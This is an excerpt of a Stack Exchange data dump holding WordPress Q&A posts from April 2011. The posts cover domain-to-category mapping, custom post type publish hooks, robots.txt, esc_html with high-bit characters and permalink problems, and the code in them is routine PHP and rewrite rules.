  <row Id="14837" PostTypeId="1" AcceptedAnswerId="14925" CreationDate="2011-04-15T15:52:16.207" Score="1" ViewCount="240" Body="&lt;p&gt;Use case is somewhat simple  - here goes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Five people share a single wordpress install - not multi-user &lt;/li&gt;&#xA;&lt;li&gt;Each person blogs and puts their posts in a their own unique category&lt;/li&gt;&#xA;&lt;li&gt;Each person has their own domain name&lt;/li&gt;&#xA;&lt;li&gt;All domain names are pointed or parked to same WP install folder&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each person's domain name only shows the posts from their category, i.e.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogger1.com&quot; rel=&quot;nofollow&quot;&gt;http://blogger1.com&lt;/a&gt; would return category archive of Blogger1's posts, &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogger2.com&quot; rel=&quot;nofollow&quot;&gt;http://blogger2.com&lt;/a&gt; would return category archive of Blogger2's posts,&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Google friendly indexing for each domain name &lt;/li&gt;&#xA;&lt;li&gt;Prefer rewrite solution rather than redirect but redirect is acceptable&lt;/li&gt;&#xA;&lt;li&gt;A&quot;master&quot; account would be able to post or edit any of the bloggers posts via the &quot;main&quot; domain login. &lt;/li&gt;&#xA;&lt;li&gt;Bonus  - if this could be extended to custom post types&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Environment&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;One installation of latest version of WP (not multi-user)&lt;/li&gt;&#xA;&lt;li&gt;Pretty Permalinks &lt;/li&gt;&#xA;&lt;li&gt;Cpanel - to set up domain parking &lt;/li&gt;&#xA;&lt;li&gt;No subdomains&lt;/li&gt;&#xA;&lt;li&gt;Access to &lt;code&gt;.htaccess&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Access to &lt;code&gt;functions.php&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4696" LastEditorUserId="4696" LastEditorDisplayName="" LastEditDate="2011-04-18T03:35:41.033" LastActivityDate="2011-08-02T13:36:39.420" Title="Multiple Domain Names - One WP Install (non-Multisite) - Default Each Domain name to Category Archive" Tags="&lt;categories&gt;&lt;seo&gt;&lt;domain-mapping&gt;&lt;multiple&gt;" AnswerCount="1" />
  <row Id="14839" PostTypeId="1" CreationDate="2011-04-15T16:25:58.687" Score="2" ViewCount="196" Body="&lt;p&gt;I was searching for a way to automatically insert a custom field when publishing a custom post type.  And I repeatedly found the same solution, from here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pippinspages.com/tutorials/publish-action-hook-for-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://pippinspages.com/tutorials/publish-action-hook-for-custom-post-types/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this and for some reason it's just not working for me.  I have a custom post type called sales_pages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// function to be executed when a custom post type is published&#xA;function run_when_post_published($post_ID)&#xA;{&#xA;    // your function code here&#xA;    global $wpdb;&#xA;      if(!wp_is_post_revision($post_ID)) {&#xA;      add_post_meta($post_ID, 'field-name', 'custom value', true);&#xA;      }&#xA;}&#xA;&#xA;// replace {custom_post_type_name} with the name of your post type&#xA;add_action('new_to_publish_sales_pages', 'run_when_post_published');    &#xA;add_action('draft_to_publish_sales_pages', 'run_when_post_published');    &#xA;add_action('pending_to_publish_sales_pages', 'run_when_post_published');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you please give me a hint as to what is wrong with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've confirmed this working with regular posts (with the post publish hooks of course).  It's just not doing the same for my custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Bryan&lt;/p&gt;&#xA;" OwnerUserId="4698" LastActivityDate="2011-05-15T23:03:44.507" Title="Automatically Insert Custom Field on Custom Post Type Publish" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="14840" PostTypeId="1" CreationDate="2011-04-15T16:58:28.057" Score="0" ViewCount="66" Body="&lt;p&gt;I have a site that has pages being indexed in Google in the form...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/?p=1&#xA;site.com/?category_name=uncategorized&#xA;site.com/?author=1&#xA;site.com/?m=201103&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And since the permalinks of the site have been set to postname since the site was created, I'm trying to determine how these links are being created and where I might be able to find the source file that created the link index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize its possible that the site was indexed prior to the permalink update, but just trying to determine if there is a script I'm not aware of that might be accessible to a search engine spider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-04-15T18:14:21.227" Title="Permalinks set to /%postname%/ but still have links being indexed in the form ?p=x" Tags="&lt;permalinks&gt;&lt;search-engines&gt;" AnswerCount="2" />
  <row Id="14841" PostTypeId="2" ParentId="14840" CreationDate="2011-04-15T17:19:19.937" Score="1" ViewCount="" Body="&lt;p&gt;There are two places bots would look: your sitemap (if you submitted one to google), and your robots.txt. WordPress itself doesn't put anything in robots.txt (unless you set your site to private, then it tells the bots not to index anything), nor does it create xml sitemaps that google would use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few plugins that will do this for you, though. I know &lt;a href=&quot;http://wordpress.org/extend/plugins/google-sitemap-generator/&quot; rel=&quot;nofollow&quot;&gt;Google XML Sitemaps&lt;/a&gt; is popular, and works for me. Yoast's &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-seo/&quot; rel=&quot;nofollow&quot;&gt;SEO plugin&lt;/a&gt; also creates sitemaps for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the easiest way to get Google to start indexing correctly is to create a sitemap with one of those two plugins and then submit it to google using google webmaster tools.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-15T17:19:19.937" />
  <row Id="14842" PostTypeId="2" ParentId="14830" CreationDate="2011-04-15T17:22:30.777" Score="0" ViewCount="" Body="&lt;p&gt;Have you checked the media path save settings under Settings &gt; Media?&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-15T17:22:30.777" />
  <row Id="14843" PostTypeId="1" CreationDate="2011-04-15T18:07:05.853" Score="0" ViewCount="106" Body="&lt;p&gt;The dilema:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have a category menu in sidebar.php that highlights the category one is in.&lt;/li&gt;&#xA;&lt;li&gt;I need to keep that highlight ON when one dives into a post of that &#xA;category.&lt;/li&gt;&#xA;&lt;li&gt;The blogs posts are usually associated with more than one category. So we can't rely on getting the posts category to achieve this as it'll return multiple categories.&lt;/li&gt;&#xA;&lt;li&gt;Furthermore, the user is able to navigate to the next or previous post from within the post, so when the user navigates with this method, how will that communicate to the category menu that it's still in the originally specified cat?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can see it partially working &lt;a href=&quot;http://baked-beans.tv/mv/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. When you are in catagory.php, i have it so that it highlights the current category in the category menu, but it's not working once you go to a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this one is surely for the pros. I dont even think Mullenweg could figure this out!&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2011-04-15T20:07:51.010" Title="Possible?! A contextually titled back link" Tags="&lt;posts&gt;&lt;categories&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14844" PostTypeId="2" ParentId="14830" CreationDate="2011-04-15T18:08:47.410" Score="1" ViewCount="" Body="&lt;p&gt;Go resave your Permalink settings to correct the .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisite systems have a slightly different .htaccess configuration. Specifically, they have this line in them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# uploaded files&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That lets the /files/whatever URLs get routed to the proper location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: sorry, just noticed you're using ISAPI Rewrite. Create a new rewrite rule in your config similar to the .htaccess rule above.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T18:08:47.410" CommentCount="1" />
  <row Id="14845" PostTypeId="2" ParentId="14840" CreationDate="2011-04-15T18:14:21.227" Score="1" ViewCount="" Body="&lt;p&gt;If your site was previously indexed with those URLs, then they will remain until Google's spider gets around to recrawling your site. Then it will notice the redirects from the old URLs to the new ones, and correct itself accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a fast process. May take months.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T18:14:21.227" />
  <row Id="14846" PostTypeId="1" AcceptedAnswerId="14847" CreationDate="2011-04-15T18:18:27.020" Score="0" ViewCount="61" Body="&lt;p&gt;I need some help with robots.txt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Privacy Settings, I selected &quot;I would like my blog to be visible to everyone, including search engines...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, WordPress automatically creates a robots.txt file. But, I need to exclude one page from the automatically generated robots.txt file. Let's say the page is called, &quot;myPage&quot;. How do I keep myPage from being indexed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make my own static robots.txt will it be overwritten by WordPress' dynamic one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, does WordPress' auto-generated robots.txt exclude files like wp-admin, that shouldn't be indexed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-04-15T18:28:13.643" Title="Questions about Robots.txt" Tags="&lt;robots&gt;" AnswerCount="1" />
  <row Id="14847" PostTypeId="2" ParentId="14846" CreationDate="2011-04-15T18:28:13.643" Score="0" ViewCount="" Body="&lt;p&gt;you can just make a file in your root named robots.txt if you don't already have one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User-agent: *&lt;br&gt;&#xA;Disallow: /myPage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is the format for that one page&#xA;there is no allow, only disallow. disllowing pages you follow the above format&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP may not have generated a robots.txt, I believe it only would have if you wanted your site not indexed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if WP has inbuilt mechanism for not indexing your admin stuff....but mine's never been indexed. If you are worried, to block entire directories you add&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disallow: /wp-admin/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's one entry per line/disallow&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-15T18:28:13.643" CommentCount="1" />
  <row Id="14848" PostTypeId="2" ParentId="14805" CreationDate="2011-04-15T18:29:20.490" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$artists = get_the_terms($post-&amp;gt;ID, 'artist');&#xA;foreach ($artists as $artist) $artids[] = $artist-&amp;gt;term_id;&#xA;$args = array(&#xA;   'post_type'=&amp;gt;'my_albumreviews',&#xA;   'tax_query'=&amp;gt;array(&#xA;      array('taxonomy'=&amp;gt;'artist',&#xA;         'field'=&amp;gt;'id',&#xA;         'terms'=&amp;gt; $artids,&#xA;      )&#xA;   )&#xA;);&#xA;$artist_reviews = new WP_query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;get_the_terms returns an array of objects. So you have to loop through it and save the ID numbers into another array to pass to the tax_query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also '$artistname' is the string '$artistname'. If it's a variable, it shouldn't have single quotes around it.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T18:29:20.490" />
  <row Id="14849" PostTypeId="2" ParentId="14839" CreationDate="2011-04-15T18:30:41.883" Score="0" ViewCount="" Body="&lt;p&gt;While I'm not an expert, here's a couple of ideas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried update_post_meta instead of add_post_meta?  If the custom field already exists, add_post_meta probably won't have any effect.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure that sales_pages is the &quot;post slug&quot;, which isn't necessarily the same as the name of the custom post type?  I remember struggling to try to figure out what the &quot;post slug&quot; is.  Unfortunately, I forgot the answer.&lt;/p&gt;&#xA;" OwnerUserId="3202" LastActivityDate="2011-04-15T18:30:41.883" />
  <row Id="14850" PostTypeId="2" ParentId="14817" CreationDate="2011-04-15T18:38:01.227" Score="1" ViewCount="" Body="&lt;p&gt;Use the attachment_fields_to_edit filter to remove the fields you don't want displaying from the array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_caption($fields) {&#xA;  unset($fields['post_excerpt']); // See wp-admin\includes\media.php line 1071&#xA;  return $fields;&#xA;}&#xA;add_filter('attachment_fields_to_edit','remove_caption');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T18:38:01.227" />
  <row Id="14851" PostTypeId="1" CreationDate="2011-04-15T18:50:39.890" Score="0" ViewCount="121" Body="&lt;p&gt;In PHP 5.2, filter_var() sanitizes text.  In WP, esc_html() sanitizes text.  The former works with a high-bit character in the text string, e.g. &amp;#224; , but the latter doesn't.  esc_html seems to be totally eating a string containing a high-bit character.  Here's the example, written as a simple WP plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: bugz tester&#xA;*/&#xA;class bugz_tester { &#xA;    function __construct() {&#xA;        if ( ! is_admin() )&#xA;            return;&#xA;&#xA;        add_action('admin_menu', array(&amp;amp;$this,'admin_page'));   &#xA;    }&#xA;&#xA;    function admin_page() { &#xA;        add_options_page('Bugz tester', 'bugz', 'edit_posts', 'bugz_sheet', array(&amp;amp;$this,'test_page'));&#xA;    }&#xA;&#xA;&#xA;    function test_page() {    &#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;        $ts = 'blah à blah';&#xA;        echo &quot;original: &quot; . $ts . &quot;&amp;lt;br/&amp;gt;&quot; ;&#xA;        echo  &quot;PHP sanitized: &quot; . $this-&amp;gt;sanitize_txt( $ts ) . &quot;&amp;lt;br/&amp;gt;&quot; ;&#xA;        echo  &quot;WP sanitized: &quot; . esc_html( $ts ) . &quot;&amp;lt;br/&amp;gt;&quot;;               &#xA;        die();&#xA;        ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    function sanitize_txt ( $text ) {&#xA;        $san_text = filter_var($text, FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_HIGH | FILTER_FLAG_STRIP_LOW ) ;&#xA;        return $san_text;&#xA;    }   &#xA;&#xA;}&#xA;new bugz_tester();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;original: blah � blah&lt;br&gt;&#xA;  PHP sanitized: blah à blah&lt;br&gt;&#xA;  WP sanitized:   &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not obsessed with using esc_html().  But if I use instead filter_var(), the string vanishes when I add it to a WP custom field. Somehow WP sanitation is killing the string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mystified.  Would be grateful for a clue.&lt;/p&gt;&#xA;" OwnerUserId="3202" LastActivityDate="2011-04-18T16:19:09.830" Title="why is esc_html() returning nothing given a string containing a high-bit character?" Tags="&lt;escaping&gt;&lt;sanitization&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14852" PostTypeId="2" ParentId="14851" CreationDate="2011-04-15T18:58:57.017" Score="2" ViewCount="" Body="&lt;p&gt;Perhaps because the entity is a non-UTF8 character?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what &lt;code&gt;esc_html()&lt;/code&gt; does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function esc_html( $text ) {&#xA;      $safe_text = wp_check_invalid_utf8( $text );&#xA;      $safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );&#xA;      return apply_filters( 'esc_html', $safe_text, $text );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If not that, then it's getting sanitized when filtered by &lt;code&gt;_wp_specialchars()&lt;/code&gt;, which does double-encoding and all sorts of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;code&gt;esc_html()&lt;/code&gt; &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/formatting.php.source.html#l2328&quot; rel=&quot;nofollow&quot;&gt;in source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;code&gt;_wp_specialchars()&lt;/code&gt; &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/formatting.php.source.html#l278&quot; rel=&quot;nofollow&quot;&gt;in source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-15T18:58:57.017" CommentCount="2" />
  <row Id="14853" PostTypeId="2" ParentId="7918" CreationDate="2011-04-15T19:04:02.257" Score="1" ViewCount="" Body="&lt;p&gt;I assume that you're only interested in the first URL that actually succeeds at discovering actual oembed data. The oembed system processes all links it finds, but not every link will have oembed going for it, obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The filter you'll want to use is embed_oembed_html and it gets the HTML cached by oembed, the url, any attributes on the embed, and the post_ID, which is important for your code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('embed_oembed_html', 'my_function',10,4);&#xA;function my_function( $cache, $url, $attr, $post_ID ) {&#xA;  global $my_previous_post_id;&#xA;  if ($my_previous_post_id != $post_ID) {&#xA;    // post ID changed, so this is the first oembed for the post&#xA;    // do something with $url&#xA;    $my_previous_post_id = $post_ID;&#xA;  }&#xA;  return $cache; // it's important that you return the $cache value as-is&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the whole oembed system is running at the same time as shortcodes do: during the_content filter call. So if you want to grab stuff for the header, you'll have to start the main Loop in the header, run the_content filter over the get_the_content() value, then call rewind_posts() to rewind the query back to the start for the actual main Loop later on in the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sort of behavior causes problems with plugins (like Nextgen gallery) that do stupid things when you run a loop in the header. There's no working around it, but the fact is that those plugins are fundamentally broken and you can't correct their problems. I get this sort of report with SFC-Share and SFC-Like all the time (because they pull content out to put in the header too). Nothing you can do about it, frankly.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T19:04:02.257" CommentCount="0" />
  <row Id="14854" PostTypeId="1" AcceptedAnswerId="14856" CreationDate="2011-04-15T19:04:29.930" Score="1" ViewCount="79" Body="&lt;p&gt;I really hope I've got a simple issue in front of me here, as it's sort of driving me up a wall. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short story: submitting a simple form on the front end of the site results in a &lt;code&gt;302 Found&lt;/code&gt; redirect, totally stripping the &lt;code&gt;$_POST&lt;/code&gt; data in the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a page in the admin called &lt;strong&gt;Edit&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create a custom template file (ie, &lt;code&gt;my-edit-template.php&lt;/code&gt;) and apply it to &lt;strong&gt;Edit&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;my-edit-template.php:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: My Edit Template&#xA; */&#xA;&#xA;if ($_POST['action']) {&#xA;var_dump($_POST);&#xA;} &#xA;&#xA;get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input name=&quot;my-ornery-field&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;action&quot; name=&quot;action&quot; value=&quot;update-profile&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when I submit the form, I get two requests to the same page, first, the &lt;code&gt;POST&lt;/code&gt;, with the form data intact, and second, a &lt;code&gt;GET&lt;/code&gt; (status code &lt;code&gt;200&lt;/code&gt;), obviously stripped of the &lt;code&gt;$_POST&lt;/code&gt; global, or anything useful to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this is a total oversight, but I'm at a loss; utterly confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All plugins disabled&lt;/li&gt;&#xA;&lt;li&gt;Flushing rewrites back to basic defaults&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;POST&lt;/code&gt;ing via Javascript/&lt;code&gt;XHR&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm sorry if the details are sparse, I'm sort of in class right now, but I'll follow-up with anything else relevant, later.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4207" LastActivityDate="2011-06-14T22:02:12.030" Title="Phantom 302 status code when sending a POST requests on pages" Tags="&lt;posts&gt;&lt;redirect&gt;&lt;forms&gt;" AnswerCount="1" />
  <row Id="14855" PostTypeId="2" ParentId="14839" CreationDate="2011-04-15T19:11:52.870" Score="2" ViewCount="" Body="&lt;p&gt;There is no {$old_status}&lt;em&gt;to&lt;/em&gt;{$new_status}_{$post_type} action hook. Examine the wp_transition_post_status function to see what types of hooks you can use there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, just use the generic transition_post_status hook. It gets the old and new statuses (so you can examine the status for changes) and the $post object itself, to let you examine the $post-&gt;post_type.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T19:11:52.870" />
  <row Id="14856" PostTypeId="2" ParentId="14854" CreationDate="2011-04-15T19:17:02.850" Score="1" ViewCount="" Body="&lt;p&gt;There's nothing wrong with that code. I just did it on a local install and it worked fine, exactly how you'd expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check for conflicting plugins.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T19:17:02.850" CommentCount="1" />
  <row Id="14858" PostTypeId="2" ParentId="14807" CreationDate="2011-04-15T19:40:26.950" Score="0" ViewCount="" Body="&lt;p&gt;Have you verified permissions on the upload_tmp_dir (C:\Temp)?  It's possible that the upload is actually failing there rather than in the destination directory.&lt;/p&gt;&#xA;" OwnerUserId="3032" LastActivityDate="2011-04-15T19:40:26.950" />
  <row Id="14860" PostTypeId="1" CreationDate="2011-04-15T19:43:11.553" Score="0" ViewCount="79" Body="&lt;p&gt;When a custom post type single with a custom field value of &quot;News&quot; is being viewed, I want the menu item labelled &quot;News&quot; to be highlighted. The same when a single with the custom field value of &quot;Slides&quot; is being viewed and so on. How do I achieve that. My menu is an all-pages menu, customizable through the Appearance panel. The &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3014/highlighting-wp-nav-menu-ancestor-class-w-o-children-in-nav-structure/&quot;&gt;recipe here&lt;/a&gt; is close to what I am looking for, but I would rather avoid having pages and custom post types having the same slugs. Thanks for your help. &lt;/p&gt;&#xA;" OwnerUserId="4703" LastActivityDate="2011-04-15T19:43:11.553" Title="Current Menu Item using a custom field value when a single page is being viewed" Tags="&lt;customization&gt;&lt;navigation-bar&gt;" FavoriteCount="1" />
  <row Id="14861" PostTypeId="1" AcceptedAnswerId="14868" CreationDate="2011-04-15T19:48:09.423" Score="2" ViewCount="99" Body="&lt;p&gt;I'm developing a website using the WPML plugin. And I would like to know which is the better option, or even the correct way to change &lt;em&gt;classes&lt;/em&gt; or &lt;em&gt;IDs&lt;/em&gt; between the languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sample code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;&amp;lt;?php _e('menu-topo'); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;ul id=&quot;&amp;lt;?php if ($lang = 'en') { echo &quot;menu-topo-en&quot;; } else { echo &quot;menu-topo&quot;; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure that the &lt;code&gt;_e&lt;/code&gt; function is supposed to be used this way so if someone could clarify this for me it would help me a lot, thanks.&lt;/p&gt;&#xA;" OwnerUserId="4248" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-16T09:06:33.787" LastActivityDate="2011-04-16T09:06:33.787" Title="What is better for wordpress performace?" Tags="&lt;multi-language&gt;&lt;plugin-wpml&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="14862" PostTypeId="1" CreationDate="2011-04-15T19:51:22.557" Score="-1" ViewCount="75" Body="&lt;p&gt;Refer to:&#xA;&lt;a href=&quot;http://blog.studentlife.uiowa.edu/svp/categories/&quot; rel=&quot;nofollow&quot;&gt;http://blog.studentlife.uiowa.edu/svp/categories/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just used a blank category template. What can I add to/change the code to make it so that it doesn't put in the category page like it's a post? I only want it to list the categories than cut to the footer/sidebar.&lt;/p&gt;&#xA;" OwnerUserId="4274" LastActivityDate="2011-04-15T23:24:35.890" Title="Why does my category page display &quot;posted on...&quot; when all I want it to do is display categories?" Tags="&lt;categories&gt;&lt;template&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14863" PostTypeId="1" CreationDate="2011-04-15T11:00:49.500" Score="0" ViewCount="145" Body="&lt;p&gt;I have just upgraded my wordpress installation from  3.1 to 3.1.1 and my custom structure permalinks are now broken, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The permalinks were set to follow this procedure, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/%category%/%postname%&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;however now they are just falling back to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;?page_id=30&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I fix this what has changed in 3.1.1 I wonder if it is a problem with my .htaccess file? Or maybe I am running on IIS?&lt;/p&gt;&#xA;" LastActivityDate="2011-04-15T19:53:52.153" Title="wordpress upgrade has broken my permalinks" Tags="&lt;php&gt;&lt;iis&gt;&lt;permalinks&gt;" AnswerCount="2" />
  <row Id="14864" PostTypeId="2" ParentId="14863" CreationDate="2011-04-15T11:03:15.393" Score="0" ViewCount="" Body="&lt;p&gt;I think your .htaccess is no more getting updated from admin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So try to update url re-writing code manually in .htacess.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7341" LastActivityDate="2011-04-15T11:03:15.393" />
